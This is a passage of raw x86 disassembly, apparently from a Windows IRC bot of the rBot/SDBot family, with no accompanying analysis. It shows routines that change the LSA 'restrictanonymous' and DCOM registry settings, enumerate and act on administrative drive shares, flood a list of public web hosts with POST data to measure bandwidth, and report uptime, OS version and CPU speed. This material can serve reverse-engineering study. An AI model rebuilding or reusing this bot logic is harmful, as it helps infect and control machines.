XREF: sub_41A3C6+89j cmp [ebp+arg_C], edi jnz short loc_41A483 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A483: ; CODE XREF: sub_41A3C6+A1j lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CBA44 ; RegOpenKeyExA test eax, eax jnz short loc_41A4F1 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CB9F8 ; RegSetValueExA test eax, eax jz short loc_41A4D3 push offset dword_43A720 jmp short loc_41A4D8 ; --------------------------------------------------------------------------- loc_41A4D3: ; CODE XREF: sub_41A3C6+104j push offset dword_43A6EC loc_41A4D8: ; CODE XREF: sub_41A3C6+10Bj lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 ; RegCloseKey jmp short loc_41A50B ; --------------------------------------------------------------------------- loc_41A4F1: ; CODE XREF: sub_41A3C6+E2j push offset dword_43A6B0 jmp short loc_41A4FD ; --------------------------------------------------------------------------- loc_41A4F8: ; CODE XREF: sub_41A3C6+13j push offset dword_43A680 loc_41A4FD: ; CODE XREF: sub_41A3C6+130j lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx loc_41A50B: ; CODE XREF: sub_41A3C6+129j cmp [ebp+arg_C], edi jnz short loc_41A52A push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A52A: ; CODE XREF: sub_41A3C6+148j lea eax, [ebp+var_214] push eax call sub_415D38 cmp dword_4CBACC, edi pop ecx jnz loc_41A6A5 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A54D: ; CODE XREF: sub_41A3C6+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CB918 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A5EA cmp eax, 0EAh jz short loc_41A5EA mov esi, offset off_43A548 loc_41A57E: ; CODE XREF: sub_41A3C6+21Dj push dword ptr [esi] push edi call sub_4191B8 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A595 push offset dword_43A65C jmp short loc_41A59A ; --------------------------------------------------------------------------- loc_41A595: ; CODE XREF: sub_41A3C6+1C6j push offset dword_43A630 loc_41A59A: ; CODE XREF: sub_41A3C6+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A5CD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A5CD: ; CODE XREF: sub_41A3C6+1EBj lea eax, [ebp+var_214] push eax call sub_415D38 add esi, 8 pop ecx cmp esi, offset dword_43A568 jb short loc_41A57E jmp loc_41A682 ; --------------------------------------------------------------------------- loc_41A5EA: ; CODE XREF: sub_41A3C6+1AAj ; sub_41A3C6+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A679 loc_41A5F9: ; CODE XREF: sub_41A3C6+2AFj mov edi, [esi] push edi call sub_41E0B7 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A66E push edi call sub_4190A5 push eax push 0 call sub_4191B8 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A628 push offset dword_43A60C jmp short loc_41A62D ; --------------------------------------------------------------------------- loc_41A628: ; CODE XREF: sub_41A3C6+259j push offset dword_43A5E0 loc_41A62D: ; CODE XREF: sub_41A3C6+260j lea eax, [ebp+var_214] push 200h push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A661 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A661: ; CODE XREF: sub_41A3C6+27Fj lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx loc_41A66E: ; CODE XREF: sub_41A3C6+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A5F9 xor edi, edi loc_41A679: ; CODE XREF: sub_41A3C6+22Dj push [ebp+var_8] call dword_4CBA64 loc_41A682: ; CODE XREF: sub_41A3C6+21Fj cmp [ebp+var_10], 0EAh jz loc_41A54D lea eax, [ebp+var_214] push offset dword_43A5B8 push eax call sub_41C266 pop ecx pop ecx pop ebx jmp short loc_41A6B8 ; --------------------------------------------------------------------------- loc_41A6A5: ; CODE XREF: sub_41A3C6+177j lea eax, [ebp+var_214] push offset dword_43A588 push eax call sub_41C266 pop ecx pop ecx loc_41A6B8: ; CODE XREF: sub_41A3C6+2DDj cmp [ebp+arg_C], edi jnz short loc_41A6D6 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A6D6: ; CODE XREF: sub_41A3C6+2F5j lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx push 1 pop eax pop edi pop esi leave retn sub_41A3C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6EA proc near ; CODE XREF: sub_41A366:loc_41A3ADp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CBAA4, ebx push esi jnz loc_41A818 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CBA44 ; RegOpenKeyExA test eax, eax jnz short loc_41A775 mov ax, word_4392DC mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB9F8 ; RegSetValueExA test eax, eax jz short loc_41A757 push offset dword_43A938 jmp short loc_41A75C ; --------------------------------------------------------------------------- loc_41A757: ; CODE XREF: sub_41A6EA+64j push offset dword_43A91C loc_41A75C: ; CODE XREF: sub_41A6EA+6Bj lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 ; RegCloseKey jmp short loc_41A788 ; --------------------------------------------------------------------------- loc_41A775: ; CODE XREF: sub_41A6EA+36j lea eax, [ebp+var_220] push offset dword_43A770 push eax call sub_41C266 pop ecx pop ecx loc_41A788: ; CODE XREF: sub_41A6EA+89j cmp [ebp+arg_C], ebx jnz short loc_41A7A7 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A7A7: ; CODE XREF: sub_41A6EA+A1j lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CBA44 ; RegOpenKeyExA test eax, eax jnz short loc_41A811 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CB9F8 ; RegSetValueExA test eax, eax jz short loc_41A7F3 push offset dword_43A8DC jmp short loc_41A7F8 ; --------------------------------------------------------------------------- loc_41A7F3: ; CODE XREF: sub_41A6EA+100j push offset dword_43A8A4 loc_41A7F8: ; CODE XREF: sub_41A6EA+107j lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 ; RegCloseKey jmp short loc_41A82B ; --------------------------------------------------------------------------- loc_41A811: ; CODE XREF: sub_41A6EA+E2j push offset dword_43A868 jmp short loc_41A81D ; --------------------------------------------------------------------------- loc_41A818: ; CODE XREF: sub_41A6EA+13j push offset dword_43A680 loc_41A81D: ; CODE XREF: sub_41A6EA+12Cj lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx loc_41A82B: ; CODE XREF: sub_41A6EA+125j cmp [ebp+arg_C], ebx jnz short loc_41A84A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A84A: ; CODE XREF: sub_41A6EA+144j lea eax, [ebp+var_220] push eax call sub_415D38 cmp dword_4CBACC, ebx pop ecx jnz loc_41A9BF push edi mov esi, offset off_43A548 mov edi, 200h loc_41A86E: ; CODE XREF: sub_41A6EA+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_41910C add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A889 push offset dword_43A848 jmp short loc_41A88E ; --------------------------------------------------------------------------- loc_41A889: ; CODE XREF: sub_41A6EA+196j push offset dword_43A820 loc_41A88E: ; CODE XREF: sub_41A6EA+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A8BD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A8BD: ; CODE XREF: sub_41A6EA+1B7j lea eax, [ebp+var_220] push eax call sub_415D38 add esi, 8 pop ecx cmp esi, offset off_43A558 jb short loc_41A86E call dword_427198 ; GetLogicalDrives test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A9A7 loc_41A8E8: ; CODE XREF: sub_41A6EA+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A99C cmp bl, 41h jz loc_41A99C movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_1 ; "%c:\\" push 0Ah push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CBA34 ; GetDriveTypeA cmp eax, 3 jnz short loc_41A99C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_41910C add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A95A push offset dword_43A848 jmp short loc_41A95F ; --------------------------------------------------------------------------- loc_41A95A: ; CODE XREF: sub_41A6EA+267j push offset dword_43A820 loc_41A95F: ; CODE XREF: sub_41A6EA+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A98F push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A98F: ; CODE XREF: sub_41A6EA+289j lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx loc_41A99C: ; CODE XREF: sub_41A6EA+206j ; sub_41A6EA+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A8E8 loc_41A9A7: ; CODE XREF: sub_41A6EA+1F8j lea eax, [ebp+var_220] push offset dword_43A7F0 push eax call sub_41C266 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A9D2 ; --------------------------------------------------------------------------- loc_41A9BF: ; CODE XREF: sub_41A6EA+173j lea eax, [ebp+var_220] push offset dword_43A588 push eax call sub_41C266 pop ecx pop ecx loc_41A9D2: ; CODE XREF: sub_41A6EA+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A9F0 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A9F0: ; CODE XREF: sub_41A6EA+2EBj lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A6EA endp ; =============== S U B R O U T I N E ======================================= sub_41AA04 proc near ; CODE XREF: sub_41ABFB+CBp ; sub_41ABFB+DDp ... arg_0 = dword ptr 4 call dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41AA04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA1E proc near ; CODE XREF: sub_41ABFB+D4p ; sub_41ABFB+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41B9C0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41ABF7 push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41BF70 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40A8F0 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41ABF7 push 50h call dword_4CB9D4 ; htons push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CBA54 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41ABF7 lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jz loc_41ABF7 push 32003h call sub_41D9A5 mov edi, dword_4270B0 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi ; GetTickCount push eax call sub_41C2B8 call sub_41C2C2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41BF70 push 32000h push esi push ebx call sub_41BF70 push ebx call sub_41B9C0 push 323EAh mov ebx, eax call sub_41D9A5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41C266 push [ebp+var_8] push esi call sub_41C8A0 push offset asc_4349EC ; "\r\n" push esi call sub_41C8A0 push esi call sub_41B9C0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi ; GetTickCount mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41AB77 mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41AB47 ; --------------------------------------------------------------------------- loc_41AB44: ; CODE XREF: sub_41AA1E+157j mov eax, [ebp+arg_0] loc_41AB47: ; CODE XREF: sub_41AA1E+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41AB57 push [ebp+var_C] jmp short loc_41AB58 ; --------------------------------------------------------------------------- loc_41AB57: ; CODE XREF: sub_41AA1E+132j push ebx loc_41AB58: ; CODE XREF: sub_41AA1E+137j add eax, esi push eax push [ebp+var_4] call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_41ABDE add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41AB44 loc_41AB77: ; CODE XREF: sub_41AA1E+11Aj call edi ; GetTickCount sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_4276F4 fst [ebp+arg_0] fcomp flt_4276F0 fnstsw ax sahf jnz short loc_41AB9F fld1 fstp [ebp+arg_0] loc_41AB9F: ; CODE XREF: sub_41AA1E+17Aj push [ebp+var_4] call dword_4CBA6C ; closesocket push [ebp+var_8] call sub_41BA91 push esi call sub_41BA91 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_4276EC fmul flt_4276E8 call sub_41D174 loc_41ABD9: ; CODE XREF: sub_41AA1E+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41ABDE: ; CODE XREF: sub_41AA1E+149j push [ebp+var_4] call dword_4CBA6C ; closesocket push [ebp+var_8] call sub_41BA91 push esi call sub_41BA91 pop ecx pop ecx loc_41ABF7: ; CODE XREF: sub_41AA1E+19j ; sub_41AA1E+42j ... xor eax, eax jmp short loc_41ABD9 sub_41AA1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ABFB proc near ; CODE XREF: sub_401ACD+2E1Ep var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41AA04 push [ebp+eax*4+var_3C] call sub_41AA1E push 8 mov esi, eax call sub_41AA04 push [ebp+eax*4+var_3C] call sub_41AA1E add esp, 10h test esi, esi jz short loc_41ACFC test eax, eax jz short loc_41ACF8 lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41ACFE ; --------------------------------------------------------------------------- loc_41ACF8: ; CODE XREF: sub_41ABFB+F4j mov ebx, esi jmp short loc_41ACFE ; --------------------------------------------------------------------------- loc_41ACFC: ; CODE XREF: sub_41ABFB+F0j mov ebx, eax loc_41ACFE: ; CODE XREF: sub_41ABFB+FBj ; sub_41ABFB+FFj push 0Ch call sub_41AA04 push [ebp+eax*4+var_6C] call sub_41AA1E push 0Ch mov edi, eax call sub_41AA04 push [ebp+eax*4+var_6C] call sub_41AA1E add esp, 10h test edi, edi jz short loc_41AD36 test eax, eax jz short loc_41AD32 lea esi, [eax+edi] shr esi, 1 jmp short loc_41AD38 ; --------------------------------------------------------------------------- loc_41AD32: ; CODE XREF: sub_41ABFB+12Ej mov esi, edi jmp short loc_41AD38 ; --------------------------------------------------------------------------- loc_41AD36: ; CODE XREF: sub_41ABFB+12Aj mov esi, eax loc_41AD38: ; CODE XREF: sub_41ABFB+135j ; sub_41ABFB+139j push 6 call sub_41AA04 push [ebp+eax*4+var_1C] call sub_41AA1E push 6 mov edi, eax call sub_41AA04 push [ebp+eax*4+var_1C] call sub_41AA1E add esp, 10h test edi, edi jz short loc_41AD70 test eax, eax jz short loc_41AD6C lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41AD72 ; --------------------------------------------------------------------------- loc_41AD6C: ; CODE XREF: sub_41ABFB+168j mov ecx, edi jmp short loc_41AD72 ; --------------------------------------------------------------------------- loc_41AD70: ; CODE XREF: sub_41ABFB+164j mov ecx, eax loc_41AD72: ; CODE XREF: sub_41ABFB+16Fj ; sub_41ABFB+173j xor eax, eax test ebx, ebx jz short loc_41AD7F mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41AD82 ; --------------------------------------------------------------------------- loc_41AD7F: ; CODE XREF: sub_41ABFB+17Bj push 2 pop edi loc_41AD82: ; CODE XREF: sub_41ABFB+182j test esi, esi jz short loc_41AD8A add eax, esi jmp short loc_41AD8B ; --------------------------------------------------------------------------- loc_41AD8A: ; CODE XREF: sub_41ABFB+189j dec edi loc_41AD8B: ; CODE XREF: sub_41ABFB+18Dj test ecx, ecx jz short loc_41AD93 add eax, ecx jmp short loc_41AD94 ; --------------------------------------------------------------------------- loc_41AD93: ; CODE XREF: sub_41ABFB+192j dec edi loc_41AD94: ; CODE XREF: sub_41ABFB+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_43A990 push eax call sub_41C266 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_26C] push eax call sub_415D38 add esp, 30h pop edi pop esi pop ebx leave retn sub_41ABFB endp ; =============== S U B R O U T I N E ======================================= sub_41ADD8 proc near ; CODE XREF: sub_401ACD+257Bp ; sub_401ACD+29CDp ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call dword_4270B0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DBC90 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41C360 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41ADD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE41 proc near ; CODE XREF: sub_4172C1+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call dword_4270D0 ; GetVersionExA test eax, eax jz short loc_41AED4 cmp [ebp+var_90], 4 jnz short loc_41AEAA cmp [ebp+var_8C], esi jnz short loc_41AE92 cmp [ebp+var_84], 1 jnz short loc_41AE85 push 1 pop esi loc_41AE85: ; CODE XREF: sub_41AE41+3Fj cmp [ebp+var_84], 2 jnz short loc_41AED4 push 1 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AE92: ; CODE XREF: sub_41AE41+36j cmp [ebp+var_8C], 0Ah jnz short loc_41AE9F loc_41AE9B: ; CODE XREF: sub_41AE41+78j push 2 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AE9F: ; CODE XREF: sub_41AE41+58j cmp [ebp+var_8C], 5Ah jnz short loc_41AED4 jmp short loc_41AEC4 ; --------------------------------------------------------------------------- loc_41AEAA: ; CODE XREF: sub_41AE41+2Ej cmp [ebp+var_90], 5 jnz short loc_41AED4 cmp [ebp+var_8C], esi jz short loc_41AE9B cmp [ebp+var_8C], 1 jnz short loc_41AEC8 loc_41AEC4: ; CODE XREF: sub_41AE41+67j push 3 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AEC8: ; CODE XREF: sub_41AE41+81j cmp [ebp+var_8C], 2 jnz short loc_41AED4 push 7 loc_41AED3: ; CODE XREF: sub_41AE41+4Fj ; sub_41AE41+5Cj ... pop esi loc_41AED4: ; CODE XREF: sub_41AE41+25j ; sub_41AE41+4Bj ... mov eax, esi pop esi leave retn sub_41AE41 endp ; =============== S U B R O U T I N E ======================================= sub_41AED9 proc near ; CODE XREF: sub_41AF8F+290p push ebx push esi push edi mov esi, 0F4240h loc_41AEE1: ; CODE XREF: sub_41AED9+2Fj ; sub_41AED9+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call dword_427080 ; Sleep rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41DCB0 mov edi, edx mov ebx, eax test edi, edi ja short loc_41AEE1 jb short loc_41AF10 cmp ebx, esi ja short loc_41AEE1 loc_41AF10: ; CODE XREF: sub_41AED9+31j push 0 push 64h push edi push ebx call sub_41DD20 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AF83 jb short loc_41AF2F cmp esi, 50h jnb short loc_41AF34 loc_41AF2F: ; CODE XREF: sub_41AED9+4Fj push 4Bh xor edx, edx pop eax loc_41AF34: ; CODE XREF: sub_41AED9+54j test ecx, ecx ja short loc_41AF83 jb short loc_41AF3F cmp esi, 47h jnb short loc_41AF44 loc_41AF3F: ; CODE XREF: sub_41AED9+5Fj push 42h xor edx, edx pop eax loc_41AF44: ; CODE XREF: sub_41AED9+64j test ecx, ecx ja short loc_41AF83 jb short loc_41AF4F cmp esi, 37h jnb short loc_41AF54 loc_41AF4F: ; CODE XREF: sub_41AED9+6Fj push 32h xor edx, edx pop eax loc_41AF54: ; CODE XREF: sub_41AED9+74j test ecx, ecx ja short loc_41AF83 jb short loc_41AF5F cmp esi, 26h jnb short loc_41AF64 loc_41AF5F: ; CODE XREF: sub_41AED9+7Fj push 21h xor edx, edx pop eax loc_41AF64: ; CODE XREF: sub_41AED9+84j test ecx, ecx ja short loc_41AF83 jb short loc_41AF6F cmp esi, 1Eh jnb short loc_41AF74 loc_41AF6F: ; CODE XREF: sub_41AED9+8Fj push 19h xor edx, edx pop eax loc_41AF74: ; CODE XREF: sub_41AED9+94j test ecx, ecx ja short loc_41AF83 jb short loc_41AF7F cmp esi, 0Ah jnb short loc_41AF83 loc_41AF7F: ; CODE XREF: sub_41AED9+9Fj xor eax, eax xor edx, edx loc_41AF83: ; CODE XREF: sub_41AED9+4Dj ; sub_41AED9+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41AED9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF8F proc near ; CODE XREF: sub_401ACD+2728p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43DB88 mov [ebp+var_CC], 94h call dword_4270D0 ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41B016 cmp [ebp+var_C4], ebx jnz short loc_41AFF2 cmp [ebp+var_BC], 1 jnz short loc_41AFDC mov [ebp+var_4], offset dword_431620 loc_41AFDC: ; CODE XREF: sub_41AF8F+44j cmp [ebp+var_BC], 2 jnz loc_41B091 mov [ebp+var_4], offset dword_43161C jmp short loc_41B062 ; --------------------------------------------------------------------------- loc_41AFF2: ; CODE XREF: sub_41AF8F+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41B004 mov [ebp+var_4], offset dword_431618 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B004: ; CODE XREF: sub_41AF8F+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41B052 mov [ebp+var_4], offset dword_431614 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B016: ; CODE XREF: sub_41AF8F+33j cmp [ebp+var_C8], 5 jnz short loc_41B052 cmp [ebp+var_C4], ebx jnz short loc_41B030 mov [ebp+var_4], offset dword_431610 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B030: ; CODE XREF: sub_41AF8F+96j cmp [ebp+var_C4], 1 jnz short loc_41B042 mov [ebp+var_4], 